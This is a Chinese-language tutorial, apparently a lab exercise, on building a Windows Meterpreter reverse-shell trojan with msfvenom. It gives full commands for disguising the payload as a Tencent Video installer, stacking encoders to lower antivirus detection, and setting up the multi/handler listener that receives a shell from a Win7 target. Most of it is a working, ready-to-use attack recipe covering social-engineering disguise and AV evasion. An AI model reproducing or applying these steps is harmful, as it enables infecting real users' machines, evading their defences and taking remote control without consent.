一、在kali主机上利用msfvenom生成windows端的安装程序(exe文件),程序名最好取一个大家经常安装的程序,如腾讯视频、爱奇艺等。
(1)由于生成的程序可能会被杀毒软件识别,我们比较一下使用单个编码器生成的程序与用两个编码器生成的程序,哪个更容易被识别。
- 利用单个编码器
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /root/腾讯视频1.exe
其中LHOST是指kali主机的IP地址
msfvenom语法格式
选项:
--platform 指定平台
-l, --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-p, --payload 选择一个需要生成的载荷(payload)
-f, --format 生成的文件格式
-e, --encoder 编码方式
-a, --arch 指定payload的目标架构(x86|x64|x86_64)
-o, --out 保存攻击payload
-b, --bad-chars 避免使用的字符 例如:不使用 ‘\x00\xff’
-n, --nopsled 提前给载荷(payload)设置一个长度为length的nopsled
-s, --space 产生有效载荷的长度
-i, --iterations 对载荷进行编码的次数
-c, --add-code 特别添加一个额外的win32外壳代码文件
-x, --template 指定要用作模板的自定义可执行文件(木马捆绑)
-k, --keep 保留模板行为并将有效载载作为新线程注入
-v, --var-name 为特定的输出格式指定一个自定义变量名
--shellest 最小化生成payload
-t, --timeout 从STDIN读取有效负载时要等待的秒数
-h, --help 帮助
--help-formats 查看msf支持的输出格式列表
- 利用两种编码器组合编码
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /root/腾讯视频2.exe
二、将生成的两个exe文件下载到物理机,使用ssh客户端连接kali主机,利用sz工具下载两个exe文件。
安装sz工具
┌──(root?kali)-[~]
└─# apt-get install lrzsz
┌──(root?kali)-[~]
└─# sz 腾讯视频*
三、利用在线检测工具检测程序
可以看出利用两种编码器混合编码的检出率比单一编码器编码低
四、在kali主机上启动msfvenom开始监听
┌──(root?kali)-[~]
└─# msfdb run
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.137.130
msf6 exploit(multi/handler) > run
五、在win7靶机上运行腾讯视频1.exe文件
六、查看是否建立连接
此时我们已经获取到主机地址为192.168.137.133的shell,我们可以利用dos命令进行相应的操作。